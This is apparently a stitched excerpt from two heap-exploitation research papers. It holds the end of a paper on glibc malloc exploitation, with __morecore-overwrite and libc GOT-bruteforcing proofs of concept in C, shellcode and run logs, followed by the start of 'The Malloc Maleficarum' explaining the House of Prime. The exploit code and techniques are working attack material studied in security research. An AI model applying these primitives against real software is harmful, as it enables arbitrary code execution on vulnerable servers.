#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH) 

#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3) 

#define bin_index(sz)                           \ 

 (((((unsigned long)(sz)) >> 9) ==   0) ?       (((unsigned long)(sz)) >>  

3):\ 

 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  

6):\ 

 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  

9):\ 

 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 

12):\ 

 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 

15):\ 

 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 

18):\ 

                                          126) 

 

#define SIZE_MASK 0x3 

#define CHUNK_SIZE 0x200 

 

int main(int argc, char *argv[]){ 

 

        unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore; 

        chunk = (unsigned int*)malloc(CHUNK_SIZE); 

        aux = (unsigned int*)malloc(0x0); 

 

        free(chunk); 

        printf("(-) lonely chunk was freed, gathering information...\n"); 

 

        sz = chunk[-1] & ~SIZE_MASK; 
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        fd = chunk[0]; 

        bk = chunk[1]; 

 

        if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 

0x%X\n",sz,bk,fd); 

        else printf("\t(X) bk != fd ...\n"),exit(-1); 

 

        bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz); 

        printf("\t(!) the chunk is in bin number %d\n",bin); 

 

        arena = bk-bin*2*sizeof(void*); 

        printf("\t(!) &main_arena[0] @ 0x%X\n",arena); 

 

        morecore = arena-32; 

        printf("\t(!) __morecore @ 0x%X\n",morecore); 

 

        printf("(-) overwriting __morecore...\n"); 

        *(unsigned int*)morecore = 0x41414141; 

 

        printf("(-) forcing a call to MORECORE()...\n"); 

        chunk=(unsigned int*)malloc(CHUNK_SIZE*4); 

 

        return 7; 

} 

 

This technique works even when the process is loaded in a randomized 

address space, as the address of the function pointer is gathered in 

runtime from the targeted process. The mechanism is fully generic, as 

every process linked to the glibc can be exploited this way. 

Also, no bruteforcing is needed, as just one try is enough to exploit the 

process. 

On the other hand, this technique is not longer useful in newer libcs,  

i.e. 2.2.93, a for the changed suffered by malloc code. A new approach 

is suggested later to help in exploitation of these libc versions. 

Morecore idea was successfully tested on different glibc versions and Linux 

distributions default installs: Debian 2.2r0, Mandrake 8.1, Mandrake 

8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and 

Slackware 2.2.19 (libc-2.2.3.so). 

Exploit code using this trick is able to exploit the vulnerable  

OpenSSL/Apache servers without any hardcoded addresses in at least the 

above mentioned default distributions. 

 

--] 4.5.3 Libc's GOT bruteforcing 

 

In case the morecore trick doesn't work (we can try, as just requires 

one try), meaning probably that our target is using a newer libc, we 

still have the obtained glibc's bin address. We know that above that  

address is going to be located the glibc's GOT. 

We just need to bruteforce upwards until hitting any entry of a going to 

be called libc function. This bruteforce mechanism may take a while, but 

not more time that should be needed to bruteforce the main object's GOT 

(in case we obtained its aproximate location some way).  

To speed up the process, the bruteforcing start point should be obtained 

by adjusting the retrieved bin address with a fixed value. This value 

should be enough to avoid corrupting the arena to prevent crashing the 

process. Also, the bruteforcing can be performed using a step size bigger 

than one. Using a higher step value will need a less tries, but may miss 

the GOT. The step size should be calculated considering the GOT size and 

the number of GOT entries accesses between each try (if a higher number 

of GOT entries are used, it's higher the probability of modifying an entry 

that's going to be accessed). 
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After each try, it is important to force the server to perform as many 

actions as possible, in order to make it call lots of different libc 

calls so the probability of using the GOT entry that was overwritten 

is higher. 

 

Note the bruteforcing mechanism may crash the process in several ways, as 

it is corrupting libc data. 

 

As we obtained the address in runtime, we can be sure we are bruteforcing 

the right place, even if the target is randomizing the process/lib address 

space, and that we will end hitting some GOT entry.  

In a randomized load address scenario, we'll need to hit a GOT entry 

before the process crashes to exploit the obtained bin address if there 

is no relationship between the load addresses in the crashed process (the 

one we obtained the bin address from) and the new process handling our  

new requests (i.e. forked processes may inherit father's memory layout in 

some randomization implementations). However, the bruteforcing mechanism 

can take into account the already tried offsets once it has obtained the 

new bin address, as the relative offset between the bin and the GOT is 

constant. 

 

Moreover, this technique applies to any process linked to the glibc. 

Note that we could be able to exploit a server bruteforcing some specific 

function pointers (i.e. located in some structures such as network output 

buffers), but these approach is more generic. 

 

The libc's GOT bruteforcing idea was successfully tested in Redhat 8.0, 

Redhat 7.2 and Redhat 7.1 default installations. 

Exploit code bruteforcing libc's GOT is able to exploit the vulnerable 

CVS servers without any hardcoded addresses in at least the above 

mentioned default distributions. 

 

--] 4.5.3.1 Proof of concept 6 : Hinted libc's GOT bruteforcing 

 

The following code bruteforces itself. The process tries to find himself, 

to finally end in an useless endless loop. 

 

#include <stdio.h> 

#include <fcntl.h> 

 

#define ADJUST          0x200 

#define STEP            0x2 

 

#define LOOP_SC         "\xeb\xfe" 

#define LOOP_SZ         2 

#define SC_SZ           512 

#define OUTPUT_SZ       64 * 1024 

 

#define SOMEOFFSET(x)   11 + (rand() % ((x)-1-11)) 

#define SOMECHUNKSZ     32 + (rand() % 512) 

 

#define PREV_INUSE      1 

#define IS_MMAP         2 

#define NON_MAIN_ARENA  4 

 

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long  

                               where,unsigned long sz){ 

   unsigned long *unlinkMe; 

   int i=0; 

 

   if(sz<13) sz = 13; 
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   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = what; 

   unlinkMe[i++] = where-8; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = -4; 

   unlinkMe[i++] = what; 

   unlinkMe[i++] = where-8; 

   for(;i<sz;i++) 

      if(i%2) 

         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | 

PREV_INUSE; 

      else 

         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | 

PREV_INUSE; 

 

   free(unlinkMe+SOMEOFFSET(sz)); 

   return unlinkMe; 

} 

 

/* just force some libc function calls between each bruteforcing iteration 

*/ 

void do_little(void){ 

   int w,r; 

   char buf[256]; 

   sleep(0); 

   w = open("/dev/null",O_WRONLY); 

   r = open("/dev/urandom",O_RDONLY); 

   read(r,buf,sizeof(buf)); 

   write(w,buf,sizeof(buf)); 

   close(r); 

   close(w); 

   return; 

} 

 

int main(int argc, char **argv){ 

   unsigned long *output,*bin=0; 

   unsigned long i=0,sz; 

   char *sc,*p; 

   unsigned long *start=0; 

 

   printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n"); 

 

   sc = (char*) malloc(SC_SZ * LOOP_SZ); 

   printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc); 

   p = sc; 

   for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ) 

      memcpy(p,LOOP_SC,LOOP_SZ); 

 

 

   printf("(-) forcing bin address disclosure... "); 

   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ); 

   for(i=0;i<OUTPUT_SZ-1;i++) 

      if(output[i] == output[i+1] && 

            ((output[i] & 0xffff0000) != 0xffff0000) ) { 

         bin = (unsigned long*)output[i]; 

         printf("%p\n",bin); 

         start = bin - ADJUST; 
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      } 

   if(!bin){ 

      printf("failed\n"); 

      return 0; 

   } 

 

   if(argv[1]) i = strtoll(argv[1], (char **)NULL,0); 

   else        i = 0; 

 

   printf("(-) starting libc GOT bruteforcing @ %p\n",start); 

   for(;;i++){ 

      sz = SOMECHUNKSZ; 

      printf("  try #%.2d  writing %p at %p using %6d bytes chunk\n", 

             i,sc,start-(i*STEP),s*sizeof(unsigned long)); 

      aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-

(i*STEP)),sz); 

      do_little(); 

   } 

 

   printf("I'm not here, this is not happening\n"); 

} 

 

Let's see what happens: 

 

$ ./got_bf 

 

## HINTED LIBC GOT BRUTEFORCING PoC ## 

 

(-) 512 bytes shellcode @ 0x8049cb0 

(-) forcing bin address disclosure... 0x4212b1dc 

(-) starting libc GOT bruteforcing @ 0x4212a9dc 

  try #00  writing 0x8049cb0 at 0x4212a9dc using   1944 bytes chunk 

  try #01  writing 0x8049cb0 at 0x4212a9d4 using    588 bytes chunk 

  try #02  writing 0x8049cb0 at 0x4212a9cc using   1148 bytes chunk 

  try #03  writing 0x8049cb0 at 0x4212a9c4 using   1072 bytes chunk 

  try #04  writing 0x8049cb0 at 0x4212a9bc using    948 bytes chunk 

  try #05  writing 0x8049cb0 at 0x4212a9b4 using   1836 bytes chunk 

  ... 

  try #140  writing 0x8049cb0 at 0x4212a57c using   1416 bytes chunk 

  try #141  writing 0x8049cb0 at 0x4212a574 using    152 bytes chunk 

  try #142  writing 0x8049cb0 at 0x4212a56c using    332 bytes chunk 

Segmentation fault 

 

We obtained 142 consecutive tries without crashing using random sized 

chunks. We run our code again, starting from try number 143 this time, 

note the program gets the base bruteforcing address again. 

 

$ ./got_bf 143 

 

## HINTED LIBC GOT BRUTEFORCING PoC ## 

 

(-) 512 bytes shellcode @ 0x8049cb0 

(-) forcing bin address disclosure... 0x4212b1dc 

(-) starting libc GOT bruteforcing @ 0x4212a9dc 

  try #143  writing 0x8049cb0 at 0x4212a564 using   1944 bytes chunk 

  try #144  writing 0x8049cb0 at 0x4212a55c using    588 bytes chunk 

  try #145  writing 0x8049cb0 at 0x4212a554 using   1148 bytes chunk 

  try #146  writing 0x8049cb0 at 0x4212a54c using   1072 bytes chunk 

  try #147  writing 0x8049cb0 at 0x4212a544 using    948 bytes chunk 

  try #148  writing 0x8049cb0 at 0x4212a53c using   1836 bytes chunk 

  try #149  writing 0x8049cb0 at 0x4212a534 using   1132 bytes chunk 
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  try #150  writing 0x8049cb0 at 0x4212a52c using   1432 bytes chunk 

  try #151  writing 0x8049cb0 at 0x4212a524 using    904 bytes chunk 

  try #152  writing 0x8049cb0 at 0x4212a51c using   2144 bytes chunk 

  try #153  writing 0x8049cb0 at 0x4212a514 using   2080 bytes chunk 

Segmentation fault 

 

It crashed much faster... probably we corrupted some libc data, or we have 

reached the GOT... 

 

$ ./got_bf 154 

 

## HINTED LIBC GOT BRUTEFORCING PoC ## 

 

(-) 512 bytes shellcode @ 0x8049cb0 

(-) forcing bin address disclosure... 0x4212b1dc 

(-) starting libc GOT bruteforcing @ 0x4212a9dc 

  try #154  writing 0x8049cb0 at 0x4212a50c using   1944 bytes chunk 

Segmentation fault 

 

$ ./got_bf 155 

 

## HINTED LIBC GOT BRUTEFORCING PoC ## 

 

(-) 512 bytes shellcode @ 0x8049cb0 

(-) forcing bin address disclosure... 0x4212b1dc 

(-) starting libc GOT bruteforcing @ 0x4212a9dc 

  try #155  writing 0x8049cb0 at 0x4212a504 using   1944 bytes chunk 

  try #156  writing 0x8049cb0 at 0x4212a4fc using    588 bytes chunk 

  try #157  writing 0x8049cb0 at 0x4212a4f4 using   1148 bytes chunk 

Segmentation fault 

 

$ ./got_bf 158 

 

## HINTED LIBC GOT BRUTEFORCING PoC ## 

 

(-) 512 bytes shellcode @ 0x8049cb0 

(-) forcing bin address disclosure... 0x4212b1dc 

(-) starting libc GOT bruteforcing @ 0x4212a9dc 

  try #158  writing 0x8049cb0 at 0x4212a4ec using   1944 bytes chunk 

  ... 

  try #179  writing 0x8049cb0 at 0x4212a444 using   1244 bytes chunk 

Segmentation fault 

 

$ ./got_bf 180 

 

## HINTED LIBC GOT BRUTEFORCING PoC ## 

 

(-) 512 bytes shellcode @ 0x8049cb0 

(-) forcing bin address disclosure... 0x4212b1dc 

(-) starting libc GOT bruteforcing @ 0x4212a9dc 

  try #180  writing 0x8049cb0 at 0x4212a43c using   1944 bytes chunk 

  try #181  writing 0x8049cb0 at 0x4212a434 using    588 bytes chunk 

  try #182  writing 0x8049cb0 at 0x4212a42c using   1148 bytes chunk 

  try #183  writing 0x8049cb0 at 0x4212a424 using   1072 bytes chunk 

Segmentation fault 

 

$ ./got_bf 183 

 

## HINTED LIBC GOT BRUTEFORCING PoC ## 

 

(-) 512 bytes shellcode @ 0x8049cb0 
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(-) forcing bin address disclosure... 0x4212b1dc 

(-) starting libc GOT bruteforcing @ 0x4212a9dc 

  try #183  writing 0x8049cb0 at 0x4212a424 using   1944 bytes chunk 

  try #184  writing 0x8049cb0 at 0x4212a41c using    588 bytes chunk 

  try #185  writing 0x8049cb0 at 0x4212a414 using   1148 bytes chunk 

  try #186  writing 0x8049cb0 at 0x4212a40c using   1072 bytes chunk 

  try #187  writing 0x8049cb0 at 0x4212a404 using    948 bytes chunk 

  try #188  writing 0x8049cb0 at 0x4212a3fc using   1836 bytes chunk 

  try #189  writing 0x8049cb0 at 0x4212a3f4 using   1132 bytes chunk 

  try #190  writing 0x8049cb0 at 0x4212a3ec using   1432 bytes chunk 

 

Finally, the loop shellcode gets executed... 5 crashes were needed, 

stepping 8 bytes each time. Playing with the STEP and the ADJUST values 

and the do_little() function will yield different results. 

 

--] 4.5.4 Libc fingerprinting 

 

Having a bin address allows us to recognize the libc version being 

attacked. 

We just need to build a database with different libcs from different 

distributions to match the obtained bin address and bin number.  

Knowing exactly which is the libc the target process has loaded gives us 

the exact absolute address of any location within libc, such as: 

function pointers, internal structures, flags, etc. This information can 

be abused to build several attacks in different scenarios, i.e. knowing 

the location of functions and strings allows to easily craft return into 

libc attacks [14]. 

 

Besides, knowing the libc version enables us to know which Linux 

distribution is running the target host. These could allow further 

exploitation in case we are not able to exploit the bug (the one we are 

using to leak the bin address) to execute code. 

 

--] 4.5.5 Arena corruption (top, last remainder and bin modification) 

 

From the previously gathered main_arena address, we know the location of 

any bin, including the top chunk and the last reminder chunk. 

Corrupting any of this pointers will completely modify the allocator 

behavior. Right now, I don't have any code to confirm this, but there are 

lot of possibilities open for research here, as an attacker might be 

able to redirect a whole bin into his own supplied input. 

 

--------------------------------------------------------------------------- 

--] 4.6 Copying the shellcode 'by hand' 

 

Other trick that allows the attacker to know the exact location of the 

injected shellcode, is copying the shellcode to a fixed address using the 

aa4bmo primitive. 

As we can't write any value, using unaligned writes is needed to create 

the shellcode in memory, writting 1 or 2 bytes each time. 

We need to be able to copy the whole shellcode before the server crashes 

in order to use this technique.  

 

--------------------------------------------------------------------------- 

--] 5 Conclusions 

 

malloc based vulnerabilities provide a huge opportunity for fully 

automated exploitation.  

The ability to transform the aa4bmo primitive into memory leak primitives 

allows the attacker to exploit processes without any prior knowledge, even 

in presence of memory layout randomization schemes. 
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    [ Note by editors: It came to our attention that the described 

      technique might not work for the glibc 2.3 serie. ] 

 

--------------------------------------------------------------------------- 
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--------------------------------------------------------------------------- 

Appendix I - malloc internal structures overview 

 

This appendix contains a brief overview about some details of malloc 

inner workings we need to have in mind in order to fully understand most 

of the techniques explained in this paper. 

 

Free consolidated 'chunks' of memory are maintained mainly 

(forgetting the top chunk and the last_remainder chunk) in 

circular double-linked lists, which are initially empty and evolve 

with the heap layout. The circularity of these lists is very important 

for us, as we'll see later on. 

 

A 'bin' is a pair of pointers from where these lists hang.  There 

exist 128 (#define NAV 128) bins, which may be 'small' bins or 'big 

bins'. Small bins contain equally sized chunks, while big bins are 

composed of not the same size chunks, ordered by decreasing size. 

 

These are the macros used to index into bins depending of its size: 

 

#define MAX_SMALLBIN         63 

#define MAX_SMALLBIN_SIZE   512 

#define SMALLBIN_WIDTH        8 

#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH) 

#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3) 

#define bin_index(sz)                                                         

\ 

(((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  

3):\ 

 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  

6):\ 

 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  

9):\ 

 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 

12):\ 

 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 

15):\ 

 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 

18):\ 

                                          126) 

 

From source documentation we know that 'an arena is a configuration 

of malloc_chunks together with an array of bins. One or more 'heaps' 

are associated with each arena, except for the 'main_arena', which is 

associated only with the 'main heap', i.e. the conventional free 

store obtained with calls to MORECORE()...', which is the one we are 

interested in. 

 

This is the way an arena looks like... 

 

typedef struct _arena { 

  mbinptr av[2*NAV + 2]; 

  struct _arena *next; 

  size_t size; 

#if THREAD_STATS 

  long stat_lock_direct, stat_lock_loop, stat_lock_wait; 

#endif 
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'av' is the array where bins are kept. 

 

These are the macros used along the source code to access the bins, 

we can see the first two bins are never indexed; they refer to the 

topmost chunk, the last_remainder chunk and a bitvector used to 

improve seek time, though this is not really important for us. 

 

    /* bitvector of nonempty blocks */ 

#define binblocks(a)      (bin_at(a,0)->size) 

    /* The topmost chunk */ 

#define top(a)            (bin_at(a,0)->fd)   

    /* remainder from last split */ 

#define last_remainder(a) (bin_at(a,1))       

 

#define bin_at(a, i)   BOUNDED_1(_bin_at(a, i)) 

#define _bin_at(a, i)  ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 

2*SIZE_SZ)) 

 

 

Finally, the main_arena... 

 

#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i) 

static arena main_arena = { 

    { 

 0, 0, 

 IAV(0),   IAV(1),   IAV(2),   IAV(3),   IAV(4),   IAV(5),   IAV(6),   

IAV(7), 

 IAV(8),   IAV(9),   IAV(10),  IAV(11),  IAV(12),  IAV(13),  IAV(14),  

IAV(15), 

 IAV(16),  IAV(17),  IAV(18),  IAV(19),  IAV(20),  IAV(21),  IAV(22),  

IAV(23), 

 IAV(24),  IAV(25),  IAV(26),  IAV(27),  IAV(28),  IAV(29),  IAV(30),  

IAV(31), 

 IAV(32),  IAV(33),  IAV(34),  IAV(35),  IAV(36),  IAV(37),  IAV(38),  

IAV(39), 

 IAV(40),  IAV(41),  IAV(42),  IAV(43),  IAV(44),  IAV(45),  IAV(46),  

IAV(47), 

 IAV(48),  IAV(49),  IAV(50),  IAV(51),  IAV(52),  IAV(53),  IAV(54),  

IAV(55), 

 IAV(56),  IAV(57),  IAV(58),  IAV(59),  IAV(60),  IAV(61),  IAV(62),  

IAV(63), 

 IAV(64),  IAV(65),  IAV(66),  IAV(67),  IAV(68),  IAV(69),  IAV(70),  

IAV(71), 

 IAV(72),  IAV(73),  IAV(74),  IAV(75),  IAV(76),  IAV(77),  IAV(78),  

IAV(79), 

 IAV(80),  IAV(81),  IAV(82),  IAV(83),  IAV(84),  IAV(85),  IAV(86),  

IAV(87), 

 IAV(88),  IAV(89),  IAV(90),  IAV(91),  IAV(92),  IAV(93),  IAV(94),  

IAV(95), 

 IAV(96),  IAV(97),  IAV(98),  IAV(99),  IAV(100), IAV(101), IAV(102), 

IAV(103), 

 IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), 

IAV(111), 

 IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), 

IAV(119), 

 IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), 

IAV(127) 

    }, 

    &main_arena, /* next */ 

    0, /* size */ 

#if THREAD_STATS 
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    0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */ 

#endif 

    MUTEX_INITIALIZER /* mutex */ 

}; 

 

The main_arena is the place where the allocator stores the 'bins' to which 

the free chunks are linked depending on they size.  

 

The little graph below resumes all the structures detailed before: 

 

<main_arena> @ libc's DATA 

 

   [bin_n]         (first chunk) 

      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd 

                                               [    chunk 

      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk 

 [bin_n+1]         (last chunk) 

 

     . 

     . 

     . 

 

   [bin_X] 

      ptr] ---->  [<-  fd 

                  [    lonely but interesting chunk 

      ptr] ---->  [<-  bk 

     . 

     . 

 

|=[ EOF ]=---------------------------------------------------------------=| 
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8. The Malloc Maleficarum - Phantasmal Phantasmagoria 

[-------------------------------- 

 

The Malloc Maleficarum 

Glibc Malloc Exploitation Techniques 

 

by Phantasmal Phantasmagoria 

phantasmal@hush.ai 

 

[-------------------------------- 

 

In late 2001, "Vudo Malloc Tricks" and "Once Upon A free()" defined 

the exploitation of overflowed dynamic memory chunks on Linux. In 

late 2004, a series of patches to GNU libc malloc implemented over 

a dozen mandatory integrity assertions, effectively rendering the 

existing techniques obsolete. 

 

It is for this reason, a small suggestion of impossiblity, that I 

present the Malloc Maleficarum. 

 

[-------------------------------- 

 

          The House of Prime 

          The House of Mind 

          The House of Force 

          The House of Lore 

          The House of Spirit 

          The House of Chaos 

 

[-------------------------------- 

 

          The House of Prime 

 

An artist has the first brush stroke of a painting. A writer has 

the first line of a poem. I have the House of Prime. It was the 

first breakthrough, the indication of everything that was to come. 

It was the rejection of impossibility. And it was also the most 

difficult to derive. For these reasons I feel obliged to give Prime 

the position it deserves as the first House of the Malloc 

Maleficarum. 

 

>From a purely technical perspective the House of Prime is perhaps 

the least useful of the collection. It is almost invariably better 

to use the House of Mind or Spirit when the conditions allow it. In 

order to successfully apply the House of Prime it must be possible 

to free() two different chunks with designer controlled size fields 

and then trigger a call to malloc(). 

 

The general idea of the technique is to corrupt the fastbin maximum 

size variable, which under certain uncontrollable circumstances 

(discussed below) allows the designer to hijack the arena structure 

used by calls to malloc(), which in turn allows either the return 

of an arbitrary memory chunk, or the direct modification of 

execution control data. 

 

As previously stated, the technique starts with a call to free() on 

an area of memory that is under control of the designer. A call to 

free() actually invokes a wrapper, called public_fREe(), to the 

internal function _int_free(). For the House of Prime, the details 
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of public_fREe() are relatively unimportant. So attention moves, 

instead, to _int_free(). From the glibc-2.3.5 source code: 

 

void 

_int_free(mstate av, Void_t* mem) 

{ 

    mchunkptr       p;           /* chunk corresponding to mem */ 

    INTERNAL_SIZE_T size;        /* its size */ 

    mfastbinptr*    fb;          /* associated fastbin */ 

    ... 

 

    p = mem2chunk(mem); 

    size = chunksize(p); 

 

    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) 

        || __builtin_expect ((uintptr_t) p & MALLOC_ALIGN_MASK, 0)) 

    { 

        errstr = "free(): invalid pointer"; 

      errout: 

        malloc_printerr (check_action, errstr, mem); 

        return; 

    } 

 

Almost immediately one of the much vaunted integrity tests appears. 

The __builtin_expect() construct is used for optimization purposes, 

and does not in any way effect the conditions it contains. The 

designer must ensure that both of the tests fail in order to 

continue execution. At this stage, however, doing so is not 

difficult. 

 

Note that the designer does not control the value of p. It can 

therefore be assumed that the test for misalignment will fail. On 

the other hand, the designer does control the value of size. In 

fact, it is the most important aspect of control that the designer 

possesses, yet its range is already being limited. For the the 

House of Prime the exact upper limit of size is not important. The 

lower limit, however, is crucial in the correct execution of this 

technique. The chunksize() macro is defined as follows: 

 

#define SIZE_BITS (PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) 

#define chunksize(p)         ((p)->size & ~(SIZE_BITS)) 

 

The PREV_INUSE, IS_MMAPPED and NON_MAIN_ARENA definitions 

correspond to the three least significant bits of the size entry in 

a malloc chunk. The chunksize() macro clears these three bits, 

meaning the lowest possible value of the designer controlled size 

value is 8. Continuing with _int_free() it will soon become clear 

why this is important: 

 

    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) 

    { 

      if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ 

          || __builtin_expect (chunksize (chunk_at_offset (p, size)) 

                               >= av->system_mem, 0)) 

        { 

          errstr = "free(): invalid next size (fast)"; 

          goto errout; 

        } 

 

      set_fastchunks(av); 

      fb = &(av->fastbins[fastbin_index(size)]); 
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      if (__builtin_expect (*fb == p, 0)) 

        { 

          errstr = "double free or corruption (fasttop)"; 

          goto errout; 

        } 

 

      p->fd = *fb; 

      *fb = p; 

    } 

 

This is the fastbin code. Exactly what a fastbin is and why they 

are used is beyond the scope of this document, but remember that 

the first step in the House of Prime is to overwrite the fastbin 

maximum size variable, av->max_fast. In order to do this the 

designer must first provide a chunk with the lower limit size, 

which was derived above. Given that the default value of av- 

>max_fast is 72 it is clear that the fastbin code will be used for 

such a small size. However, exactly why this results in the 

corruption of av->max_fast is not immediately apparent. 

 

It should be mentioned that av is the arena pointer. The arena is a 

control structure that contains, amongst other things, the maximum 

size of a fastbin and an array of pointers to the fastbins 

themselves. In fact, av->max_fast and av->fastbins are contiguous: 

 

    ... 

    INTERNAL_SIZE_T  max_fast; 

    mfastbinptr      fastbins[NFASTBINS]; 

    mchunkptr        top; 

    ... 

 

Assuming that the nextsize integrity check fails, the fb pointer is 

set to the address of the relevant fastbin for the given size. This 

is computed as an index from the zeroth entry of av->fastbins. The 

zeroth entry, however, is designed to hold chunks of a minimum size 

of 16 (the minimum size of a malloc chunk including prev_size and 

size values). So what happens when the designer supplies the lower 

limit size of 8? An analysis of fastbin_index() is needed: 

 

#define fastbin_index(sz)        ((((unsigned int)(sz)) >> 3) - 2) 

 

Simple arithmetic shows that 8 >> 3 = 1, and 1 - 2 = -1. Therefore 

fastbin_index(8) is -1, and thus fb is set to the address of av- 

>fastbins[-1]. Since av->max_fast is contiguous to av->fastbins it 

is evident that the fb pointer is set to &av->max_fast. 

Furthermore, the second integrity test fails (since fb definitely 

does not point to p) and the final two lines of the fastbin code 

are reached. Thus the forward pointer of the designer's chunk p is 

set to av->max_fast, and av->max_fast is set to the value of p. 

 

An assumption was made above that the nextsize integrity check 

fails. In reality it often takes a bit of work to get this to fall 

together. If the overflow is capable of writing null bytes, then 

the solution is simple. However, if the overflow terminates on a 

null byte, then the solution becomes application specific. If the 

tests fail because of the natural memory layout at overflow, which 

they often will, then there is no problem. Otherwise some memory 

layout manipulation may be needed to ensure that the nextsize value 

is designer controlled. 
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The challenging part of the House of Prime, however, is not how to 

overwrite av->max_fast, but how to leverage the overwrite into 

arbitrary code execution. The House of Prime does this by 

overwriting a thread specific data variable called arena_key. This 

is where the biggest condition of the House of Prime arises. 

Firstly, arena_key only exists if glibc malloc is compiled with 

USE_ARENAS defined (this is the default setting). Furthermore, and 

most significantly, arena_key must be at a higher address than the 

actual arena: 

 

0xb7f00000 <main_arena>:        0x00000000 

0xb7f00004 <main_arena+4>:      0x00000049      <-- max_fast 

0xb7f00008 <main_arena+8>:      0x00000000      <-- fastbin[0] 

0xb7f0000c <main_arena+12>:     0x00000000      <-- fastbin[1] 

.... 

0xb7f00488 <mp_+40>:            0x0804a000      <-- mp_.sbrk_base 

0xb7f0048c <arena_key>:         0xb7f00000 

 

Due to the fact that the arena structure and the arena_key come 

from different source files, exactly when this does and doesn't 

happen depends on how the target libc was compiled and linked. I 

have seen the cards fall both ways, so it is an important point to 

make. For now it will be assumed that the arena_key is at a higher 

address, and is thus over-writable by the fastbin code. 

 

The arena_key is thread specific data, which simply means that 

every thread of execution has its own arena_key independent of 

other threads. This may have to be considered when applying the 

House of Prime to a threaded program, but otherwise arena_key can 

safely be treated as normal data. 

 

The arena_key is an interesting target because it is used by the 

arena_get() macro to find the arena for the currently executing 

thread. That is, if arena_key is controlled for some thread and a 

call to arena_get() is made, then the arena can be hijacked. Arena 

hijacking of this type will be covered shortly, but first the 

actual overwrite of arena_key must be considered. 

 

In order to overwrite arena_key the fastbin code is used for a 

second time. This corresponds to the second free() of a designer 

controlled chunk that was outlined in the original prerequisites 

for the House of Prime. Normally the fastbin code would not be able 

to write beyond the end of av->fastbins, but since av->max_fast has 

previously been corrupted, chunks with any size less than the value 

of the address of the designer's first chunk will be treated with 

the fastbin code. Thus the designer can write up to av- 

>fastbins[fastbin_index(av->max_fast)], which is easily a large 

enough range to be able to reach the arena_key. 

 

In the example memory dump provided above the arena_key is 0x484 

(1156) bytes from av->fastbins[0]. Therefore an index of 

1156/sizeof(mfastbinptr) is needed to set fb to the address of 

arena_key. Assuming that the system has 32-bit pointers a 

fastbin_index() of 289 is required. Roughly inverting the 

fastbin_index() gives: 

 

          (289 + 2) << 3 = 2328 

 

This means that a size of 2328 will result in fb being set to 

arena_key. Note that this size only applies for the memory dump 

shown above. It is quite likely that the offset between av- 
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>fastbins[0] and arena_key will differ from system to system. 

 

Now, if the designer has corrupted av->max_fast and triggered a 

free() on a chunk with size 2328, and assuming the failure of the 

nextsize integrity tests, then fb will be set to arena_key, the 

forward pointer of the designer's second chunk will be set to the 

address of the existing arena, and arena_key will be set to the 

address of the designer's second chunk. 

 

When corrupting av->max_fast it was not important for the designer 

to control the overflowed chunk so long as the nextsize integrity 

checks were handled. When overwriting arena_key, however, it is 

crucial that the designer controls at least part of the overflowed 

chunk's data. This is because the overflowed chunk will soon become 

the new arena, so it is natural that at least part of the chunk 

data must be arbitrarily controlled, or else arbitrary control of 

the result of malloc() could not be expected. 

 

A call to malloc() invokes a wrapper function called 

public_mALLOc(): 

 

Void_t* 

public_mALLOc(size_t bytes) 

{ 

    mstate ar_ptr; 

    Void_t *victim; 

    ... 

    arena_get(ar_ptr, bytes); 

    if(!ar_ptr) 

      return 0; 

    victim = _int_malloc(ar_ptr, bytes); 

    ... 

    return victim; 

} 

 

The arena_get() macro is in charge of finding the current arena by 

retrieving the arena_key thread specific data, or failing this, 

creating a new arena. Since the arena_key has been overwritten with 

